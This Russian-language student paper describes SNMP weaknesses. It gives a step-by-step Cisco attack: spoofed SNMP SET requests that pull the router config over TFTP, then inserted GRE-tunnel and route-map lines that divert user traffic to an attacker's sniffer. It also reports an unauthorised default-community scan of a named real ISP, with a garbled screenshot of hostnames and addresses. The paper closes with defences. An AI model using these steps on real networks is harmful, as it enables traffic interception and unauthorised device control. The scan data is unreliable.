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на тему:

SNMP - удобный протокол

или угроза для корпоративной сети


-
Предыстория SNMP
 Протокол SNMP (Simple Network Management Protocol) предоставляет методы управления сетевыми ресурсами.
 История SNMP (Simple Network Management Protocol) протокола начинается со своего предшественника SGMP (Simple Gateway Monitoring Protocol), который был определён в RFC 1028 в 1987 году. SGMP был разработан как временное решение к сетевому  управлению. 
 Стандарт SGMP определил основную модель дизайна, используемого в SNMP, описывая SGMP протокол только в терминах поиска и/или изменений переменных, сохранённых на router-e. Данный стандарт также выделяется небольшим числом операций, которые всё ещё являются основанием для операций SNMP на сегодняшний день.
 Первая версия SNMP структуры, SNMPv1, была определена в RFC 1067 (позже пересмотрена в RFC 1098 и 1157) в 1993 году.
 Новая SNMPv2 спецификация была выпущена в 1996 году и включала в себя доработки, такие как: механизм блокировки, 64-битные счетчики, улучшенное сообщение ошибки. 
 Самое последнее дополнение к протоколу – SNMPv3 – определённый в 1999 году. В основном это тот же SNMPv2, но с доработками с точки зрения безопасности, таких как: Security Model (модель защиты) и  Access Control Model (модель управления доступом).
 
-
Эффективный контроль над сетью

 - SNMP может использоваться для управления любой системы, подключенной к Интернету

 - затраты на внедрение SNMP – минимальны

 - определяя новые «Управляемые Объекты» (MIBs), возможности управления могут быть расширены легко
 - SNMP довольно устойчив; даже в случае отказов в работе, менеджер может продолжать работать (хотя может понадобиться немного больше усилия)

  В настоящее время производители устройств передачи данных включают SNMP по умолчанию. Данный протокол стал наиболее важным стандартом для сетевого управления.


-
Разве SNMP это угроза?

  В зависимости от версии SNMP стандарта и правильности настройки оборудования, данный протокол можно использовать во многих отраслях хакинга, от мелкого хулиганства до эффективного промышленного шпионажа.
Часто системные администраторы имеют смутное представление о SNMP. Вследствие неопределенного представления о предназначении этого протокола, а соответственно и незнания потенциально возможных проблем, вопросы его безопасности часто упускаются из виду. 
Тот факт, что протокол SNMP основан на UDP, делает его еще более интересным. Являясь протоколом без установления соединения, UDP уязвим к атаке подмены IP (IP spoofing). Если в вашей организации есть оборудование Cisco, вы готовы к исследованию того, что с ними можно сделать с помощью SNMP. 
Сценарий атаки 1.
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Ниже приводится текущая конфигурация атакуемого маршрутизатора (Victim Router): 
Current configuration : 1206 bytes

!

version 12.3

!

hostname Victim

!

enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA.YX0

!

interface Ethernet0/0 

 ip address dhcp 

 ip nat outside 

 half-duplex

!

interface Ethernet0/1 

 ip address 192.168.1.1 255.255.255.0 

 ip nat inside 

 half-duplex

!

router rip 

 network 192.168.1.0

!

ip nat inside source list 102 interface Ethernet0/0 overload

no ip http server

ip classless

!

access-list 1 permit 192.168.1.0 0.0.0.255

access-list 102 permit ip any any

!

snmp-server community public RO

snmp-server community private RW 1

snmp-server enable traps tty

!

line con 0 

 logging synchronous

 login

line aux 0

line vty 0 4 

 password secret 

 login

!

!

end

Обратите внимание на правило доступа для группы RW. Это правило пытается ограничить SNMP доступ на чтение/запись, разрешив его только для пользователей из локальной сети (192.168.1.0). 
Можно выделить два основных этапа атаки: 
1. Обход правил доступа SNMP на атакуемом маршрутизаторе с целью получения доступа к конфигурационному файлу маршрутизатора. 
2. Создание GRE туннеля между атакуемым маршрутизатором и маршрутизатором хакера для удаленного перехвата трафика атакуемой клиентской машины (Victim Client). 
Теория

 Используя SNMP-команду SET, можно заставить Cisco маршрутизатор замещать/отправлять его конфигурационный файл с помощью TFTP. 
Отправив SNMP запрос SET с поддельным IP адресом (из диапазона, описанного в RFC1918 - 192.168.1.0) мы должны заставить атакуемый маршрутизатор отправить нам свой конфигурационный файл. Это предполагает, что мы знаем ‘private community string’ и ACL, описанные в строке конфигурации группы RW. 
Обход правил доступа SNMP
Начнем с создания поддельного SNMP запроса. Используя небольшой Perl скрипт и Ethereal, перехватим стандартный SNMP SET запрос “copy config”, который мы будем использовать в качестве базового пакета. 
root@whax# ./copy-router-config.pl

######################################################

# Copy Cisco Router config  - Using SNMP

# Hacked up by muts - muts@whitehat.co.il

#######################################################

Usage : ./cisco-copy-config.pl   

Make sure a TFTP server is set up, preferably running from /tmp !

root@whax#

После выполнения скрипта будет перехвачен SNMP пакет. Как и ожидалось, этот запрос был отклонен маршрутизатором, и конфигурационный файл не был отослан.
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Обратите внимание на IP адрес атакующего (80.179.76.227). Теперь, используя hex-редактор, мы изменим этот IP адрес и некоторый другие поля заголовка пакета. В шестнадцатеричной системе счисления подделанный IP адрес 192.168.1.5 выглядит как C0 A8 01 05.
 Затем мы отправим пакет, используя file2cable (или любой другой генератор пакетов).
Пакет обходит правила доступа SNMP, и мы получаем конфигурационный файл атакуемого router-a по TFTP. 
GRE туннель
GRE (Generic Routing Encapsulation) – протокол туннелирования, разработанный для инкапсуляции произвольных типов пакетов сетевого уровня внутри пакета сетевого уровня. Один из вариантов использования GRE – соединение сегментов IPX сети через канал связи поддерживающий только сетевой уровень модели OSI. В этом случае вам нужно будет создать GRE туннель с одного маршрутизатора на другой для передачи IPX пакетов туда и обратно через канал поддерживающий только протокол IP. 
Однако мы будем использовать GRE для достижения целей, отличных от его обычного предназначения. Наш план состоит в следующем: 
· Создать GRE туннель от атакуемого маршрутизатора до маршрутизатора хакера. 
· Определить, какой трафик будет проходить через туннель. 
· Распаковывать GRE пакеты идущие с атакованного маршрутизатора и переправлять их на компьютер атакующего (sniffer) для анализа. 
Атакуемый маршрутизатор
Нам нужно создать GRE туннель на атакуемом маршрутизаторе. Так как доступа к терминалу (консоли) у нас нет, мы можем просто отредактировать полученный файл конфигурации и затем отправить его назад на маршрутизатор, используя поддельный SNMP SET запрос. Добавим следующие строки в файл конфигурации атакуемого маршрутизатора: 
interface tunnel0

ip address 192.168.10.1 255.255.255.0

tunnel source Ethernet0/0

tunnel destination 

tunnel mode gre ip

Они означают следующее: 
· Мы создали интерфейс tunnel0 и указали IP адрес из сети 192.168.10.x . Для обмена данными оба конца туннеля должны находиться в одной подсети. 
· Мы указали, что интерфейс Ethernet0/0 является началом туннеля (а иначе, откуда туннель мог бы начинаться?) 
· Конец туннеля это IP адрес внешнего интерфейса маршрутизатора хакера. 
· Последняя команда не обязательна, так как по умолчанию все равно создается именно GRE туннель (но мы все же добавили ее для большей уверенности). 
Теперь мы можем настроить правила доступа (access-lists) для указания типа проходящего через туннель трафика и карты маршрутизации (route-maps) необходимые для перенаправления трафика. 
Для этого добавим в файл конфигурации атакуемого маршрутизатора еще несколько строк: 
access-list 101 permit tcp any any eq 443

access-list 101 permit tcp any any eq 80

access-list 101 permit tcp any any eq 21

access-list 101 permit tcp any any eq 20

access-list 101 permit tcp any any eq 23

access-list 101 permit tcp any any eq 25

access-list 101 permit tcp any any eq 110

Мы разрешили передачу данных по протоколам SSL, HTTP, FTP, telnet, SMTP и POP3. 
Теперь, если трафик соответствует вышеописанным правилам, он будет перенаправлен в соответствии с картами маршрутизации, описание которых нужно добавить в файл конфигурации: 
router-map divert-traffic 

   match ip address 101

   set ip next-hop 192.168.10.2

interface Ethernet0/0

   ip policy route-map divert-traffic

· Мы создали правило доступа, разрешающее все типы трафика. 
· Мы создали карту маршрутизации divert-to-sniffer (эта карта маршрутизации будет перенаправлять туннелированный трафик на сниффер). 
· Созданное правило доступа используется в качестве условия соответствия. 
· В качестве next-hop адреса мы указали IP адрес атакующего (sniffer). 
· Мы применили карту маршрутизации к интерфейсу tunnel0. 
Очень важно, что мы используем карту маршрутизации для перенаправления данных. Маршрутизатор получает туннелированные данные, инкапсулированные в GRE пакете, и без декодирования пакета мы не можем их просмотреть. Переправляя полученные пакеты атакующему (sniffer), маршрутизатор передает их как обычные IP пакеты без GRE инкапсуляции. 
Наконец, создадим карту маршрутизации и ассоциируем ее с интерфейсом Ethernet0/0: 
Attacker(config-if)# route-map divert-out

Attacker(config-route-map)# match ip address 101

Attacker(config-route-map)# set ip next-hop 192.168.10.1

Attacker(config-route-map)# exit

Attacker(config)# interface ethernet0/0

Attacker(config-if)# ip policy route-map divert-out

Эти дополнительные настройки означают следующее: 
· После того как атакующий (sniffer) перехватит и переправит туннелированные данные назад, карта маршрутизации divert-out перенаправит трафик обратно на атакуемый маршрутизатор. 
· Мы применили карту маршрутизации к Ethernet интерфейсу. 
Начинаем атаку
После того как все настройки будут завершены, все, что нам останется сделать – загрузить новый модифицированный файл конфигурации на атакуемый маршрутизатор. Результатом будет активации GRE туннеля и перенаправление всего трафика из локальной сети атакуемого компьютера к хакеру (sniffer).
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Проверить работоспособность туннеля можно, отослав отладочную команду на маршрутизатор атакующего: 
Attacker# debug tunnel

*Mar  3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242

->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0)

*Mar  3 06:38: Tunnel0: adjacency fixup, 80.179.20.55

-> 212.199.145.242, tos=0x0

*Mar  3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242

->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0)

*Mar  3 06:38: Tunnel0: adjacency fixup, 80.179.20.55

-> 212.199.145.242, tos=0x0g   all
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В результате этих действий, Ethereal на компьютере атакующего получит следующие пакеты:
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Кроме использования специализированного сниффера (такого как dsniff) для перехвата паролей, передаваемых открытым текстом, мы можем осуществить сложные атаки класса ‘человек посередине – man-in-the-middle’ на компьютер жертвы. Ettercap – хорошая утилита, позволяющая, кроме перехвата разных типов паролей, организовать атаку ‘человек посередине’ на шифруемые протоколы SSL и SSH. С помощью фильтров Ettercap можно управлять проходящим трафиком и изменять его. Возможности практически бесконечны. 

-
Реальные факты Молдавского Интернета

 Сценарий атаки 2.

Возьмём за основу экспкримента всем известный ISP “StarNet”.
 Задачи:

-  Провести поверхностный анализ определенного диапазона IP адресов на запросы SNMP через Brute-Force
-  Получить полный доступ к определённому оборудованию

 Атака:

 Используя программу Networksonar, производим сканирование диапазона IP адресов, которые предположительно использует провайдер, запросами SNMP. При сканировании используются: 

· SNMP community: public, private, qwer, asdf, 1234, cisco, zyxel, lan, snmp, community 
· IP adress – реальный, определённый провайдером
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 Через несколько часов, мы получаем данные сканирования:
[image: image7.jpg]EE e e |

0 O - [ & Q] O Fereos O3 2 B L)

Address [ Di\Fies Costealproject - ‘Securitatea Informationala 2006 -ASEMscan resultRouters fresh.htm ERERS
Vool 03 Strnel el ST rcleySTaBBIEompIE 0TI 86 =l
FreeBSD 1-01 sternet md .0-RELEASE FreeBSD 6.0.RELEASE
01 starnet md 0724816011 gelcorestametmd 5 Ui #1: FriNioy 11 14:01-36 EET 2008 rost@r- pubic Crisinau

01 starmet met it sreisy 4388 comple/OPTIM 385
FreeBSD mal.starnet md 6.0-RELEASE FreeBSD 6.0-RELEASE

mall sternet md 724316016 mailstarnet nt 6 Linax #0. Tue Des 20 14:51:56 EET 2005 publc STARNET
M@l starnet mt Aisrisrcisys BB coMPiEMAL i385
FreeBSD ge.101 starnet md 6.0-RELEASE FreeBSD 6.0-

o101 starmet md 8724816021 o101 starnet 6 Linax RELEASE #3 Man Nov 21 12.25:12 EET 2005 roct@ge- publc STARNET
101 Starnet me usrisrc/sysA386/compile PROLIANT 1386
FreeBSD ge.102 starnet md 6.0-RELEASE FreeBSD 6.0-

o102 starmet mal 8724316022 102 starnet s Linax RELEASE #0 Man Nov 21 1201:10 EET 2005 roct@ge- publc STARNET
102 sternet mo usrisrc/sys 388 compile PROLIANT 1386
FreeBSD ge.103 starnet md 6.0-RELEASE FreeBSD 6.0-

o103 starnet mdl 8724816023 o104 starnet 7 Linax RELEASE #0 Man Nov 21 1200:56 EET 2005 roct@ge- publc cTade
103 starnet me usrisrc/sy 386 compile PROLIANT 1386
FreeBSD xn01 starnet md 5.1-PRERELEASE FreeBSDB.1-
PRERELEASE #1: Mon Var § 17:55.08 UTC 2008

001 starnet el 724316025 57-245-160-25.starnetmd 7 Ui e e RS s bl Startiet
=
FreeBSD «n03 starnet md 5 4-RELEASE FresBSD 5.4-

003 starnet et 87248160132 ce0n03starnetind 6 Linax RELEASE #1: Tue Nov 15 230312 EET 2005 publc Chisinau

FOH@03 starmet kit SrcisySA3BB Comple/OPTIM 386
FreeBSD xn01 starnet.md 5.1-PRERELEASE FreeBSD.1-
PRERELEASE #1: Mon Var § 17:55.08 UTC 2008

001 starnet el 7.243.160.134  57-243-160-134 starnet.ndl 7 Ui e e RS s bl Startiet
=
FreeBSD ge.102 starnet md 6.0-RELEASE FreeBSD 6.0-

o102 starnet mdl 872481615  geOBcorestametnd 6 Linax RELEASE #0 Man Nov 21 1201:10 EET 2005 roct@ge- publc STARNET

O oA ROLIAT 0
FLes0 01 starelmd 0 RELEASE FoaBSD . RELEASE

2 P TS e 1160 R oty e —
R R e AN

R 724316143 57-245-11-43.starnetmd 25 MiraTik router publc Kiaika isce

Ktaka 724316148 57-245-151-46.starnetmd 13 MicaTik router publc Kiaika isce

FreeBSD ge.103 sternet md 6 0-RELEASE FreeBSD 6.0-
ger3stametmd 6726816182 ge-gwydenstanetmd & Ui RELEASE #0: Mon Nov 21 120055 EET 2005 rooi@oe-  public cTas

03 starnet me isrsrcisy s 386icompie PROLIANT i385

FreeBSD r-01 stornet md 6.0-RELEASE FreeBSD 6.0.RELEASE
01 starnet md 7245:151.105 57-206-151-105 stanet nd § Linix i e e pubic Cms\nau_'_l

<

&]0one [ [ [ [ [y Computer





 Полученные данные содержат следующего типа информацию:

 - SysName   - можно узнать адрес, № телефона абонента
 - Agent IP Address   - 
 - DNS    - 

 - Response Time
- 
 - Vendor
- 

 - System Description
- можно использовать в качестве дополнительной  полезной информации при атаках

 - Community
-  snmp-community с помощью которой мы извлекли информацию
 - Location
-  можно узнать адрес, № телефона абонента
 - Contact
-  можно узнать имя, кличку администратора
 - Last Boot Time
-

 - Interfaces
-  чем больше, тем интерестнее
 - Discovery Status
-

 Из полученных данных используем IP адреса и программу Real-time Network Monitor, для того чтобы узнать какую полезную информацию можно получить при дополнительных запросах SNMP.
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 Также вполне реально получить полный доступ к аппарату просто заменив имя snmp-community с public на private. Тем самым у нас появляется возможность посылать различные snmp команды.
  Результат атаки:

 После данного эксперимента мы узнали что:
- не используется даже простейший метод защиты – access-list-ы

- с легкостью можно узнать число клиентов провайдера

- конфиденциальную информацию клиентов провайдера

- экономический потенциал провайдера

- полезную информацию, которую можно использовать при различных атаках

- легко можно собирать статистику провайдера и его корпоративных клиентов, при дальнейшем её использовании в определённых целях
-
Можно ли предотвратить атаку? Методы защиты
 Иногда некоторые вещи являются не тем, чем кажутся. Когда имеешь дело с SNMP (или другим протоколами на основе UDP) всегда нужно знать об укромных уголках и трещинах, упущение из виду которых может стать причиной компрометации вашей сети.

 Методы защиты предельно просты. Они полностью зависят от администраторов сетей:

 - не оставлять настройки оборудования по умолчанию (by default)
 - правильно продумать схему использования протокола

 - определять сложные имена snmp-community
 - использовать access-list-ы

 - указывать одиночные IP адреса в access-list-ах, а не IP ranges  (IP диапазоны)
 -
Заключение

Целью работы было показать не столько эффективность описанной атаки, сколько потенциальные бреши протоколов, основанных на UDP. Это никоим образом не означает, что оборудование Cisco/ZyXel небезопасно. Грамотная конфигурация должна свести к минимуму шансы обхода защиты. Ошибки сетевых администраторов – вот основные причины компрометаций сетевого оборудования.
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